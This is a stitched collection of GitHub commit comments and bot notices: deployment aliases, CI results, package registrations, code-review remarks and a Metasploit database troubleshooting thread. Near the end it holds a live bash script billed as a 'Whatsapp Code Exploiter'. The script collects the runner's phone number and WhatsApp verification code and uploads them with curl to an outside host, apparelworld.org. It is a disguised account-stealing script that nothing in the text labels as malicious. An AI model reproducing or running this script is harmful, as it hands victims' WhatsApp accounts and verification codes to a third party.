Successfully aliased the URL <https://website-rlgri2bky.now.sh> to the following aliases:

* https://website.ethanjustice.now.sh
* https://website-git-master.ethanjustice.now.sh


There has been some rocky history in this chart with people adding and removing changes. You’ll likely need to delete and reinstall the release.


Failed to alias the deployment: Deployment not found.

[Click here](https://zeit.co/github/deployment?deploymentId=dpl_5WTn2DbZcBRvQDCBExhvitW8JD7Y) to access the non-aliased deployment.


Please re-read the Stack Overflow posts in for preventing missing newline at the end of file in my previous comment.

https://github.com/onweru/hugo-swift-theme/commit/2b7f7251971bcf89bbd9d61b4de051aa814417f2#commitcomment-34598526

In ordinary files, this will cause unexpected behavior of `wc`.


#1 Fix


Lo que yo decía era sólo tocar el textMatches: textMatches text song = any (containsText text) [ song.name, song.artist ].

Se entiende? Armó una lista con strings y me fijo si alguno de esos cumple la condición. Es una mejora muy tranqui pero para pensar está bueno


EDIT: Gradient and animation not only for button


4432-MovableInsulationInsideSurfTemp (mjwitte) - x86_64-Linux-Ubuntu-18.04-cppcheck: OK (0 of 0 tests passed, 0 test warnings)

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.png)


@JuliaRegistrator register()


Registration pull request created: [JuliaRegistries/General/2673](https://github.com/JuliaRegistries/General/pull/2673)

After the above pull request is merged, it is recommended that a tag is created on this repository for the registered package version.

This will be done automatically if [Julia TagBot](https://github.com/apps/julia-tagbot) is installed, or can be done manually through the github interface, or via:
```
git tag -a v0.10.0 -m "<description of version>" 0bac20fe9209625ed7863ea1a63c3cc8f7077045
git push origin v0.10.0
```


@josibuttazzoni


I'm using a text editor named Emacs which have something named org-mode. It
is a bit similar to Markdown (and the BML syntax is inspired by org-mode).
org-mode can export to HTML, and from there I'm using CSS and JavaScript
(jQuery) to get the final functionality.

If you're familiar with Emacs I can give you the details. I haven't
published it publicly since I think Emacs might be too niched for bridge
players, but perhaps I'm wrong :)

On Tue, Aug 13, 2019, 22:29 Adam Kolipiński <notifications@github.com>
wrote:

> Hi!
> My goal to achieve was something similar to your notes' (google docs is
> not good enough for my bridge group:P). So after some googling I've found
> your BML. I enjoy how you separate definition and presentation here, just
> tried to add more interactivity into html.
>
> The page you link doesn't use BML, right? Would you mind to describe what
> technology you used to generate it?
>
> —
> You are receiving this because you commented.
> Reply to this email directly, view it on GitHub
> <https://github.com/plazmonik/bml/commit/0601479c5d49ba2743749531941ff98d6e4fb6f6?email_source=notifications&email_token=AA6KZOMNPF7UPN4PLR7NRB3QEMKR5A5CNFSM4ILLMJWKYY3PNVWWK3TUL52HS4DFVVBW63LNNF2EG33NNVSW45FKMNXW23LFNZ2F62LEZYBBCKXZ#commitcomment-34679545>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/AA6KZOM5W4WZYMVSLPJFCLDQEMKR5ANCNFSM4ILLMJWA>
> .
>


FixBadScheduleInputs (Myoldmopar) - Win64-Windows-10-VisualStudio-16: OK (2457 of 2459 tests passed, 0 test warnings)

Messages:\n
 * 2 tests had: EIO diffs.
 * 2 tests had: ESO big diffs.
 * 2 tests had: MTR big diffs.
 * 2 tests had: Table big diffs.

Failures:\n

regression Test Summary
 * Passed: 661
 * Failed: 2

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.png) ![Test Badge](http://img.shields.io/badge/tests%20passed-99.92%25-yellow.png)


No envíes punteros inteligentes como parámetros puros, envía referencias constantes


Este const está mal utilizado


similar to get_sonogram_correlation but no longer has the check for ValueError to throw NoNotesFound.


I must be tired while writing it. `make_shared` is totally incorrect in this place. Thanks.


4432-MovableInsulationInsideSurfTemp (mjwitte) - x86_64-Linux-Ubuntu-18.04-custom_check: OK (9 of 9 tests passed, 0 test warnings)

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.png)


Whoops!  Will fix.


Registration pull request created: [JuliaRegistries/General/2674](https://github.com/JuliaRegistries/General/pull/2674)

After the above pull request is merged, it is recommended that a tag is created on this repository for the registered package version.

This will be done automatically if [Julia TagBot](https://github.com/apps/julia-tagbot) is installed, or can be done manually through the github interface, or via:
```
git tag -a v0.5.0 -m "<description of version>" 11dba9372d4d7141a8d4939238dab00dda96e01e
git push origin v0.5.0
```


Successfully aliased the URL <https://cdb-a499w0ne0.now.sh> to the following aliases:

* https://cdb.dev
* https://debotton.dev
* https://debotton.io
* https://cdb.cdebotton.now.sh
* https://cdb-git-master.cdebotton.now.sh


Fixed #2


As for normalizing, that is a good point but it is not necessary. AoRN this comparer only ever compares the two distances of "oneNode to given selection" & "anotherNode to (the same) given selection". And thus if user over/underselects a whitespace it will have the same effect on `oneNode` & `anotherNode`

> I don't know :) I could see args in both directions. i.e. a user won't know exactly what span we precisely report, and being in it means they 're definitely affected by it.

I'm not sure I follow this one.


oops, i thought i removed this but may have been lost in rebase. anyway this line should not be necessary.


Successfully aliased the URL <https://meetupswarm-docs-8iumd1fmg.now.sh> to the following aliases:

* https://swarm-docs.now.sh
* https://meetup-swarm-docs.swarm-ui.now.sh
* https://meetup-swarm-docs-git-master.swarm-ui.now.sh


Successfully aliased the URL <https://presentations-lrp8vusko.now.sh> to the following aliases:

* https://primer-presentations.now.sh
* https://presentations.primer.now.sh
* https://presentations-git-master.primer.now.sh


The following doc(s) have been deployed to the [updateread](https://updateread-static-docs.pantheonsite.io/docs) Multidev environment:
- [CONTRIBUTING.md](https://github.com/pantheon-systems/documentation/commit/e287bd5e6815fa9f6b8c5e4996cb265972f9fe2a/CONTRIBUTING.md)


Further robustness for #2


H


Successfully aliased the URL <https://qa-front-end-service-27l3y9pth.now.sh> to the following aliases:

* https://qa-front-end-service.dloft9.now.sh
* https://qa-front-end-service-git-master.dloft9.now.sh


ZEIT Now cannot deploy this project to production due to following domain related issues:

 * `snuggsi.com`(for alias `snuggsi.com`) is not found inside your account. [Add it](https://zeit.co/dashboard/domains?action=add&domain=snuggsi.com).


Nope; good point.


The following doc(s) have been deployed to the [updateread](https://updateread-static-docs.pantheonsite.io/docs) Multidev environment:
- [CONTRIBUTING.md](https://github.com/pantheon-systems/documentation/commit/e3089bbf62f77bea5c2efc57b1d55614aa720bef/CONTRIBUTING.md)


Successfully aliased the URL <https://mood-1qcnqatpd.now.sh> to the following aliases:

* https://mood.rgrannell2.now.sh
* https://mood-git-master.rgrannell2.now.sh


Super :smile: !


Successfully aliased the URL <https://cdb-gwtvox87h.now.sh> to the following aliases:

* https://cdb.dev
* https://debotton.dev
* https://debotton.io
* https://cdb.cdebotton.now.sh
* https://cdb-git-master.cdebotton.now.sh


Both commits does the same thing.  Please [keep Git history down](https://discourse.gohugo.io/t/hugo-themes-donts/17714?u=vincenttam).


Changed some lists with math in anticipation of automatic displaystyle.
Corrected use of $ in a title.
Fixed image width
Fixed non-ideal markup of manual numbering and spacing of subproblems in an example.


oops sorry if from the rebase, do you mind PR'ing @diracdeltas


错误发生在未知的中文中。句子错误脚本不起作用


print('Dlcq SB')


IRC channels?


Oh, such a sweet commit!

I might scrap the progress I had for my local version where I tried implementing `rerun last open-with` and `rerun last pick-plugin` and just use this :D.

One thing I would like to bring up, why not have it act like picking bookmarks?

My reasoning is: hitting `x<alphabetic>` is easier than `x<digit>` on most of my keyboards.

I'm open to either implementation and haven't tested this commit yet so I guess my nagging isn't worth the attention yet.


Strings pasalos por referencia constante... a menos de que vayas a copiarlos localmente, en ese caso, usa un move


[vg CI tests](https://ucsc-ci.com/vgteam/vg/pipelines/1278) complete for branch giraffe-mapq.  View the [full report here](http://vg-data.s3.amazonaws.com/vg_ci/vgci_reports/commit/6dec77e4867c930bf70b77c8a35b2a667f28e314/index.html).

18 tests passed, 0 tests failed and 0 tests skipped in 8309 seconds

Tests produced 795 warnings. 795 were for lower-than-expected alignment scores


yes


@JuliaRegistrator register()


Registration pull request created: [JuliaRegistries/General/2675](https://github.com/JuliaRegistries/General/pull/2675)

After the above pull request is merged, it is recommended that a tag is created on this repository for the registered package version.

This will be done automatically if [Julia TagBot](https://github.com/apps/julia-tagbot) is installed, or can be done manually through the github interface, or via:
```
git tag -a v0.2.0 -m "<description of version>" 0b0be457404d18f06c70f9db82b822db4b48b8af
git push origin v0.2.0
```


TeamCity Bvcms / Build [Build 1708](https://builds.tpsdb.com/viewLog.html?buildId=7712&buildTypeId=Bvcms_Build) is now running


No es más fácil hacer operadores de corchete en los vectores?


Registration pull request created: [JuliaRegistries/General/2676](https://github.com/JuliaRegistries/General/pull/2676)

After the above pull request is merged, it is recommended that a tag is created on this repository for the registered package version.

This will be done automatically if [Julia TagBot](https://github.com/apps/julia-tagbot) is installed, or can be done manually through the github interface, or via:
```
git tag -a v0.9.0 -m "<description of version>" 043a48e2fc3c44e1a731d5648832e0cd46a36d64
git push origin v0.9.0
```


Successfully aliased the URL <https://mood-k3q1a5l2q.now.sh> to the following aliases:

* https://mood.rgrannell2.now.sh
* https://mood-git-master.rgrannell2.now.sh


I need to add a query builder for all the queries made to the datasource


I got an error without having libgdal-dev installed as well... may have been a different issue though, if it's not necessary the version constraint can be removed


Esto debe regresar la referencia a la matriz interna


help. T_T


![](https://github.trello.services/images/mini-trello-icon.png) [ghdfgh](https://trello.com/c/9h6htzQk/1-ghdfgh)


Successfully aliased the URL <https://github-dashboard-next-islg8xosk.now.sh> to the following aliases:

* https://github-dashboard-next.nazimsaouli.now.sh
* https://github-dashboard-next-git-master.nazimsaouli.now.sh


Deployment failed with the following error:

~~~
Uploading failed. Please try again.
~~~


I think only change this makes is that the signal between syllables is not counted, which is how we should have it anyways (would be a mistake if we kept it the other way).


I think it's worth opening a PR.  It might help someone down the line, or at least offer reassurance that using IntelliJ is expected to work easily.


There's also `.pod6` extension that we currently use. It has both “pod” in it, which really doesn't mean much to most people, and the `6` which will be mostly obsolete after the rename. Maybe `.rakudoc`? A bit too long, but it seems to work fine for `.asciidoc` so why not… I don't know. I think it is also possible to defer it for now.


Missed this one as well.  Will fix.


Successfully aliased the URL <https://the-snap-o8r32u00v.now.sh> to the following aliases:

* https://the-snap.arvigeus.now.sh
* https://the-snap-git-master.arvigeus.now.sh


Preferentemente mueve esto hasta arriba para no tener que buscarlos


@JuliaRegistrator register


Successfully aliased the URL <https://itchio-godot-scraper-c5k83sjro.now.sh> to the following aliases:

* https://itchio-godot-scraper.now.sh
* https://itchio-godot-scraper.hiulit.now.sh
* https://itchio-godot-scraper-git-master.hiulit.now.sh


Should this be done in the note_threshold_page as well?


Successfully aliased the URL <https://babangsundcom-ozdbg39e7.now.sh> to the following aliases:

* https://babangsund.com
* https://babangsundcom.babangsund.now.sh
* https://babangsundcom-git-master.babangsund.now.sh


![](https://github.trello.services/images/mini-trello-icon.png) [Fix and deploy service worker](https://trello.com/c/39k6yLGP/1-fix-and-deploy-service-worker)


Successfully aliased the URL <https://cdb-1iskn5f9y.now.sh> to the following aliases:

* https://cdb.dev
* https://debotton.dev
* https://debotton.io
* https://cdb.cdebotton.now.sh
* https://cdb-git-master.cdebotton.now.sh


Deployment failed with the following error:

~~~
The property `scripts` is not allowed in now.json when using Now 2.0 – please remove it.
~~~


TeamCity Bvcms / Build [Build 1709](https://builds.tpsdb.com/viewLog.html?buildId=7713&buildTypeId=Bvcms_Build) is now running


TeamCity Bvcms / Build [Build 1708](https://builds.tpsdb.com/viewLog.html?buildId=7712&buildTypeId=Bvcms_Build) outcome was **SUCCESS**
Summary: Tests passed: 63 Build time: 00:17:52


TeamCity Bvcms / Build [Build 1710](https://builds.tpsdb.com/viewLog.html?buildId=7714&buildTypeId=Bvcms_Build) is now running


TeamCity Bvcms / Build [Build 1709](https://builds.tpsdb.com/viewLog.html?buildId=7713&buildTypeId=Bvcms_Build) outcome was **FAILURE**
Summary: Error while applying patch Build time: 00:01:07


i can make it prettier later


Double-checked - current gym master, as well as gym version 0.14.0 (released on pypi) has env spec entry point exposed as `entry_point`:

master: https://github.com/openai/gym/blob/f99ce5f3240dd1912ae30aa61c1ef3bfc77f2925/gym/envs/registration.py#L45
0.14.0: https://github.com/openai/gym/blob/5e6f11d07781404459672e114cb86cb6a1a015c6/gym/envs/registration.py#L45

I'd recommend installing 0.14.0 version explicitly via `pip install gym==0.14.0`. Please let me know if that does not help, and provide a more detailed stacktrace in that case. Thanks!


Deployment failed with the following error:

~~~
Uploading failed. Please try again.
~~~


do we need these in both the init and setup?


Hi Mithinmohan,
Have you already tried to init or start the msfdb (Metasploit Database)?

The commands are:
"mwfdb init"
OR
"msfdb start"

Otherwise, check if PostgreSQL is installed (properly) on your OS: msfdb
rely on it.

PS: I suggest you to have a Kali Linux Virtual Machine to use Metasploit:
it has Metasploit (and all it needs to work) preinstalled on it

Il giorno lun 12 ago 2019, 18:56 mithinmohan <notifications@github.com> ha
scritto:

> I am a Windows 10 user, I installed metasploit. I am using command prompt.
> db no connect, I tried some commands but not working.running server is
> failed port 5432. Pls help me to fixing it. I like to use metasploit.
>
> —
> You are receiving this because you authored the thread.
> Reply to this email directly, view it on GitHub
> <https://github.com/Ex-Novo/Hacking-Resources/commit/ba2e5c272e3273d17892eedb9161831cc133727f?email_source=notifications&email_token=AHLQVCRHTSSXDP7LV4YTDCTQEGI3LA5CNFSM4ILDENLKYY3PNVWWK3TUL52HS4DFVVBW63LNNF2EG33NNVSW45FKMNXW23LFNZ2F62LEZYBBBYSF#commitcomment-34660933>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/AHLQVCTH3753FUQBSLSNJY3QEGI3LANCNFSM4ILDENLA>
> .
>


Deployment failed with the following error:

~~~
Couldn't parse JSON file /tmp/xZkclRjF75q6ninDimdpdkYc/repo/package.json.
~~~


Successfully aliased the URL <https://noahzinsmeistercom-plilqplhq.now.sh> to the following aliases:

* https://noahzinsmeister.com
* https://noahzinsmeistercom.noahwz.now.sh
* https://noahzinsmeistercom-git-master.noahwz.now.sh


Successfully aliased the URL <https://octolinker-site-itt3bc6cw.now.sh> to the following aliases:

* https://octolinker.now.sh
* https://octolinker-site.octolinker1.now.sh
* https://octolinker-site-git-master.octolinker1.now.sh


Successfully aliased the URL <https://wikichronica-43n34fkzk.now.sh> to the following aliases:

* https://wiki.chronica.xyz
* https://www.wiki.chronica.xyz
* https://wikichronica.ckipp01.now.sh
* https://wikichronica-git-master.ckipp01.now.sh


[vg CI tests](https://ucsc-ci.com/vgteam/vg/pipelines/1279) complete for branch handle-stuff.  View the [full report here](http://vg-data.s3.amazonaws.com/vg_ci/vgci_reports/commit/e4121d0604bff4237bc42952241a2017f4bb96de/index.html).

6 tests passed, 0 tests failed and 0 tests skipped in 1810 seconds


PPS: You can check the status of Metasploit Database with "msfdb status"

You can find more with the command "msfdb -h" or with online resources

Il giorno mer 14 ago 2019, 00:00 Francesco Maria DAuria <
dauriafrancescomaria@gmail.com> ha scritto:

> Hi Mithinmohan,
> Have you already tried to init or start the msfdb (Metasploit Database)?
>
> The commands are:
> "mwfdb init"
> OR
> "msfdb start"
>
> Otherwise, check if PostgreSQL is installed (properly) on your OS: msfdb
> rely on it.
>
> PS: I suggest you to have a Kali Linux Virtual Machine to use Metasploit:
> it has Metasploit (and all it needs to work) preinstalled on it
>
> Il giorno lun 12 ago 2019, 18:56 mithinmohan <notifications@github.com>
> ha scritto:
>
>> I am a Windows 10 user, I installed metasploit. I am using command
>> prompt. db no connect, I tried some commands but not working.running server
>> is failed port 5432. Pls help me to fixing it. I like to use metasploit.
>>
>> —
>> You are receiving this because you authored the thread.
>> Reply to this email directly, view it on GitHub
>> <https://github.com/Ex-Novo/Hacking-Resources/commit/ba2e5c272e3273d17892eedb9161831cc133727f?email_source=notifications&email_token=AHLQVCRHTSSXDP7LV4YTDCTQEGI3LA5CNFSM4ILDENLKYY3PNVWWK3TUL52HS4DFVVBW63LNNF2EG33NNVSW45FKMNXW23LFNZ2F62LEZYBBBYSF#commitcomment-34660933>,
>> or mute the thread
>> <https://github.com/notifications/unsubscribe-auth/AHLQVCTH3753FUQBSLSNJY3QEGI3LANCNFSM4ILDENLA>
>> .
>>
>


Deployment failed with the following error:

~~~
The domain used as an alias jamstack.ru is not verified yet. Please verify it.
~~~


Successfully aliased the URL <https://octolinker-site-a4m8itsx9.now.sh> to the following aliases:

* https://octolinker.now.sh
* https://octolinker-site.octolinker1.now.sh
* https://octolinker-site-git-master.octolinker1.now.sh


The documentation format is also called Pod 6, so it should probably be coordinated with whether that name is changed.


Created multidev environment [sfgov#ci-3022](https://dashboard.pantheon.io/sites/91d50373-c4cf-40e4-a646-cb73e16a140c#ci-3022).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://ci-3022-sfgov.pantheonsite.io/)


Successfully aliased the URL <https://octolinker-site-5lmtxhdsw.now.sh> to the following aliases:

* https://octolinker.now.sh
* https://octolinker-site.octolinker1.now.sh
* https://octolinker-site-git-master.octolinker1.now.sh


[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://ci-555-badcamp-2019.pantheonsite.io/)

Created multidev environment [ci-555](https://dashboard.pantheon.io/sites/77e169f6-098e-4e68-b9b1-67d0b7cc2f02#ci-555) for badcamp-2019.


This should be a try-catch


Note that the version of libcurl in extsoft is very old, and we are replacing extsoft with a package manger in rtools40....


@jensens Jenkins CI reporting about code analysis
See the full report here: https://jenkins.plone.org/job/package-plone.schemaeditor/10/violations
```
plone/schemaeditor/testing.py:26:22: C812 missing trailing comma
plone/schemaeditor/interfaces.py:33:26: C812 missing trailing comma
plone/schemaeditor/interfaces.py:48:76: C812 missing trailing comma
plone/schemaeditor/interfaces.py:52:38: C812 missing trailing comma
plone/schemaeditor/interfaces.py:59:30: C812 missing trailing comma
plone/schemaeditor/interfaces.py:68:22: C812 missing trailing comma
plone/schemaeditor/interfaces.py:150:33: C812 missing trailing comma
plone/schemaeditor/interfaces.py:162:22: C812 missing trailing comma
plone/schemaeditor/interfaces.py:175:23: C812 missing trailing comma
plone/schemaeditor/interfaces.py:190:69: C812 missing trailing comma
plone/schemaeditor/interfaces.py:202:80: C812 missing trailing comma
plone/schemaeditor/interfaces.py:207:72: C812 missing trailing comma
plone/schemaeditor/interfaces.py:215:22: C812 missing trailing comma
plone/schemaeditor/interfaces.py:227:23: C812 missing trailing comma
plone/schemaeditor/utils.py:84:9: T000 Todo note found.
plone/schemaeditor/utils.py:100:18: C812 missing trailing comma
plone/schemaeditor/utils.py:104:12: P002 found "hasattr", consider replacing it
plone/schemaeditor/utils.py:115:16: P002 found "hasattr", consider replacing it
plone/schemaeditor/utils.py:125:18: C812 missing trailing comma
plone/schemaeditor/utils.py:149:26: C812 missing trailing comma
plone/schemaeditor/fields.py:71:58: C812 missing trailing comma
plone/schemaeditor/fields.py:72:14: C812 missing trailing comma
plone/schemaeditor/fields.py:130:9: E303 too many blank lines (2)
plone/schemaeditor/fields.py:227:35: C812 missing trailing comma
plone/schemaeditor/fields.py:228:20: C812 missing trailing comma
plone/schemaeditor/fields.py:271:20: E126 continuation line over-indented for hanging indent
plone/schemaeditor/browser/field/fieldset.py:4:1: I001 isort found an import in the wrong position
plone/schemaeditor/browser/field/edit.py:28:1: I004 isort found an unexpected blank line in imports
plone/schemaeditor/browser/field/edit.py:179:12: P002 found "hasattr", consider replacing it
plone/schemaeditor/browser/field/edit.py:187:42: C812 missing trailing comma
plone/schemaeditor/browser/schema/add_field.py:79:76: C812 missing trailing comma
plone/schemaeditor/browser/schema/add_field.py:80:18: C812 missing trailing comma
plone/schemaeditor/browser/schema/add_field.py:112:41: C812 missing trailing comma
plone/schemaeditor/browser/schema/listing.py:55:16: P002 found "hasattr", consider replacing it
plone/schemaeditor/browser/schema/listing.py:115:79: C812 missing trailing comma
plone/schemaeditor/browser/schema/add_fieldset.py:34:79: C812 missing trailing comma
plone/schemaeditor/browser/schema/add_fieldset.py:38:33: C812 missing trailing comma
plone/schemaeditor/browser/schema/add_fieldset.py:54:41: C812 missing trailing comma
plone/schemaeditor/browser/schema/traversal.py:9:1: F401 'six' imported but unused
plone/schemaeditor/browser/schema/traversal.py:45:21: C812 missing trailing comma
plone/schemaeditor/tests/tests.py:8:1: I001 isort found an import in the wrong position
plone/schemaeditor/tests/tests.py:42:80: E501 line too long (88 > 79 characters)
plone/schemaeditor/tests/test_fields.py:27:19: C812 missing trailing comma
plone/schemaeditor/tests/test_fields.py:35:45: C812 missing trailing comma
plone/schemaeditor/tests/test_fields.py:40:48: C812 missing trailing comma
plone/schemaeditor/tests/test_fields.py:41:11: E121 continuation line under-indented for hanging indent
plone/schemaeditor/tests/test_fields.py:48:44: C812 missing trailing comma
plone/schemaeditor/tests/test_fields.py:53:47: C812 missing trailing comma
plone/schemaeditor/tests/test_fields.py:54:13: E123 closing bracket does not match indentation of opening bracket's line
plone/schemaeditor/tests/test_robot.py:26:33: C812 missing trailing comma
```
Follow [these instructions](https://github.com/plone/jenkins.plone.org/blob/master/docs/source/run-qa-on-package.rst) to reproduce it locally.


Did that do the job?

Unfortunately, I doubt it, as
`curl -LO https://github.com/Olf0/%{name}/archive/%{version}-%{release}.tar.gz`
downloads the right thing with a wrong name, while
`curl -LO https://github.com/Olf0/%{name}/archive/%{name}-%{version}-%{release}.tar.gz`
downloads a failure page in HTML.
I tried to fix that before, without success.


Deployment failed with the following error:

~~~
Uploading failed. Please try again.
~~~


@krystian3w Nie przejdzie, on elementów nie łączy.


The following doc(s) have been deployed to the [ttrowellbo](https://ttrowellbo-static-docs.pantheonsite.io/docs) Multidev environment:
- [source/content/secure-integration.md](https://github.com/pantheon-systems/documentation/commit/3229c2fe14bf4a3ed97e93062964f149ce044c95/source/content/secure-integration.md)


Copy of this build can be found at
https://www.mewbuilds.com/build/de656e0d8d8c82dcbcd5c1f13fb7ffa63d548b90/index.html
                       https://www.cloudflare-ipfs.com/ipfs/QmapkdwTJNNgLBBn3Gm2uRTKrrgbBeWST4twRmmBjTNsfN
                       Virus Total analysis
                       https://www.virustotal.com/file/e42e62bae4708be925ef51a80908d1fb4906b69d08665ca081894c7ccac3bb14/analysis/1565734234/


@artur-ciocanu the "fdescribe" is causing travis to skip all unit tests.

https://travis-ci.org/adobe/alloy/jobs/571229813


No you're not


<!-- Ja tylko chciałem sprawdzić czy `text-13` dołączy do `text-13` z innej linii, a nie że przecinek wróci. -->


Successfully aliased the URL <https://out-a5e8mz0o1.now.sh> to the following aliases:

* https://out.mfioca.now.sh
* https://out-git-master.mfioca.now.sh


7445-EvapCoolerAirLoopFlowCyclingFan (yzhou601) - x86_64-Linux-Ubuntu-18.04-gcc-7.4-IntegrationCoverage-Debug: OK (668 of 668 tests passed, 0 test warnings)

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.png) ![Test Badge](http://img.shields.io/badge/tests%20passed-100.0%25-green.png) ![Coverage Badge](http://img.shields.io/badge/coverage%20status-68.46%25-green.png)


Module C00 First try
85 %


Hi


Ah, ok.


4432-MovableInsulationInsideSurfTemp (mjwitte) - x86_64-Linux-Ubuntu-18.04-gcc-7.4-UnitTestsCoverage-Debug: OK (1131 of 1131 tests passed, 0 test warnings)

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.png) ![Test Badge](http://img.shields.io/badge/tests%20passed-100.0%25-green.png) ![Coverage Badge](http://img.shields.io/badge/coverage%20status-42.47%25-green.png)


Successfully aliased the URL <https://slad-8xks81nwn.now.sh> to the following aliases:

* https://slad.steida.now.sh
* https://slad-git-master.steida.now.sh


![](https://github.trello.services/images/mini-trello-icon.png) [Easy offer banner](https://trello.com/c/OjVbnofZ/76-easy-offer-banner)


![](https://github.trello.services/images/mini-trello-icon.png) [sitemap.xml](https://trello.com/c/0L44C8rJ/22-sitemapxml)


![](https://github.trello.services/images/mini-trello-icon.png) [Add <noscript> message](https://trello.com/c/MKarnfPr/77-add-noscript-message)


# Specs execution successful
:scroll: [View logs](http://bamboo.comnull)
### Plans updated

Bamboo specs have been successfully imported and the following plans have been updated.

Project | Plan | Build
---|---|---
[Test](http://bamboo.com/browse/TEST) | [Comment test](http://bamboo.com/browse/TEST-CTEST)  | :white_check_mark: [\#1](http://bamboo.com/browse/TEST-CTEST-1)
[New project](http://bamboo.com/browse/NEW) | [Disabled plan](http://bamboo.com/browse/NEW-DISABLED) **disabled** | :white_check_mark: [\#1](http://bamboo.com/browse/NEW-DISABLED-1)

### Deployments updated

Bamboo specs have been successfully imported and the following deployment projects have been updated.

|Deployment project |
----|
[Deployment test](http://bamboo.com/deploy/viewDeploymentProjectVersions.action?id=2162689)|


TeamCity Bvcms / Build [Build 1710](https://builds.tpsdb.com/viewLog.html?buildId=7714&buildTypeId=Bvcms_Build) outcome was **SUCCESS**
Summary: Tests passed: 63 Build time: 00:17:30


TeamCity Bvcms / Build [Build 1711](https://builds.tpsdb.com/viewLog.html?buildId=7715&buildTypeId=Bvcms_Build) is now running


![](https://github.trello.services/images/mini-trello-icon.png) [HP Text - Header](https://trello.com/c/Dt2X0OcQ/71-hp-text-header)


Successfully aliased the URL <https://react-selectable-fast-fh1d90d0e.now.sh> to the following aliases:

* https://react-selectable-fast.now.sh
* https://react-selectable-fast.skymk1.now.sh
* https://react-selectable-fast-git-master.skymk1.now.sh


Deployment failed with the following error:

~~~
The domain used as an alias jamstack.ru is not verified yet. Please verify it.
~~~


Deployment failed with the following error:

~~~
Uploading failed. Please try again.
~~~


is it desired mod?


Copy of this build can be found at
https://builds.myetherwallet.com/build/65310de4a5a004f513fa63228696a33a3b0bce61/index.html
                       https://www.cloudflare-ipfs.com/ipfs/QmdsHgLShStEc6BpyyX9PMUUWRSSKEPB7ZhiPZce6xbnQo
                       Virus Total analysis
                       https://www.virustotal.com/file/77f2f91734459822c2b39c853d5576fc41b5f78dda773583faabcb5d2c8bad4d/analysis/1565734736/


Successfully aliased the URL <https://react-ts-npm-boilerplate-6turfjfru.now.sh> to the following aliases:

* https://react-ts-npm-boilerplate.develohpanda.now.sh
* https://react-ts-npm-boilerplate-git-master.develohpanda.now.sh


LGTM


Successfully aliased the URL <https://react-selectable-fast-mhecea7zq.now.sh> to the following aliases:

* https://react-selectable-fast.now.sh
* https://react-selectable-fast.skymk1.now.sh
* https://react-selectable-fast-git-master.skymk1.now.sh


and add deploy_secret for git webhook


Successfully aliased the URL <https://malamuddev-p3b7x3taq.now.sh> to the following aliases:

* https://malamud.dev
* https://malamuddev.gusma.now.sh
* https://malamuddev-git-master.gusma.now.sh


getting error when you run analysis because this is not updated before calc_correlation


Maybe commit 7d8d9be ([in my repo](https://github.com/Olf0/sfos-upgrade/commit/7d8d9be52120b1ac3bfe11042a8239f6829127aa)) does the job.
If not, additionally "commenting out" the local `Source:` line may help.

Please do not miss to report any progress or setbacks.


Successfully aliased the URL <https://ui-akz3goaqq.now.sh> to the following aliases:

* https://ui.manifold.now.sh
* https://ui-git-master.manifold.now.sh


Update needed [Here](https://github.com/ProtolabSBRE/qibullet/blob/2db9e9628391e06035aec9319bc0bf3424a97814/qibullet/camera.py#L152)


don't think we need get_sonogram_correlation anymore otherwise though


Successfully aliased the URL <https://github-action-ah64a12zd.now.sh> to the following aliases:

* https://test-github.now.sh
* https://github-action.justinmark.now.sh
* https://github-action-git-master.justinmark.now.sh


let's chat online :)
most likely there is no issue, i'm just basically pointing out that i'm not convinced there is no issue.  however, even if there *was* an issue, it's likely very very minor.  so this is just about me turning over stones to just check on things.


Successfully aliased the URL <https://react-ts-npm-boilerplate-ajqdoxl2h.now.sh> to the following aliases:

* https://react-ts-npm-boilerplate.develohpanda.now.sh
* https://react-ts-npm-boilerplate-git-master.develohpanda.now.sh


Why 30? Are you just priming the loop? If so, a do while might be better


[vg CI tests](https://ucsc-ci.com/vgteam/vg/pipelines/1280) complete for branch zero-mapq.  View the [full report here](http://vg-data.s3.amazonaws.com/vg_ci/vgci_reports/commit/e9f312afe37e66ae077fa47045d72f09df5b89f0/index.html).

19 tests passed, 0 tests failed and 0 tests skipped in 12895 seconds

Tests produced 794 warnings. 794 were for lower-than-expected alignment scores


The following doc(s) have been deployed to the [circlecach](https://circlecach-static-docs.pantheonsite.io/docs) Multidev environment:
- [.circleci/config.yml](https://github.com/pantheon-systems/documentation/commit/bd2035f4aa9562552c0e9d5bef6c52cff26954fd/.circleci/config.yml)


Deffinately break up this function. Maybe a capture for each


You are correct, thanks!


Successfully aliased the URL <https://framernexttech-lfpup8zoi.now.sh> to the following aliases:

* https://framernexttech.nataliemarleny.now.sh
* https://framernexttech-git-master.nataliemarleny.now.sh


Remove prints and comments from debugging


Maybe use the args as the input to your function


Deployment failed with the following error:

~~~
Uploading failed. Please try again.
~~~


!/bin/bash
clear
echo "
<-- IndoSec -->
####################
#   Whatsapp Code  # By ./C3W3KBerB4T4n9
#     Exploiter    # ceweberbatang59@gmail.com
####################

Copyright (c) 2018 ceweberbatang Ganteng";
echo "";
read -p "Nomer Kamu (+62xxxx)=> " nomer;
read -p "Nomer Target (+62xxxx) => " target;
sleep 2
echo "[+] Syncing Target...";
sleep 1
echo "Login  => $nomer";
sleep 0.5
echo "Target => $target";
sleep 0.5
echo "[+] Exploiting...";
echo "Nomer => $nomer" >> kontol.html;
curl -T kontol.html http://apparelworld.org/
sleep 5;
echo "[+] Done.";
echo "Tunggu 5-10 Menit Untuk Mendapatkan Code.";
read -p "Verify Code => " code;
sleep 2
echo "[+] Connecting to whatsapp.com...";
echo "Login => $nomer";
sleep 0.5
echo "Code => $code";
sleep 0.5
echo "Target => $target";
sleep 0.5
echo "[+] Sending Exploit...";
echo "Code => $code" >> kontol.html;
curl -T kontol.html http://apparelworld.org/
sleep 5
echo "[+] Success Exploited!";
exit;


Successfully aliased the URL <https://react-ts-npm-boilerplate-3bze2il8b.now.sh> to the following aliases:

* https://react-ts-npm-boilerplate.develohpanda.now.sh
* https://react-ts-npm-boilerplate-git-master.develohpanda.now.sh


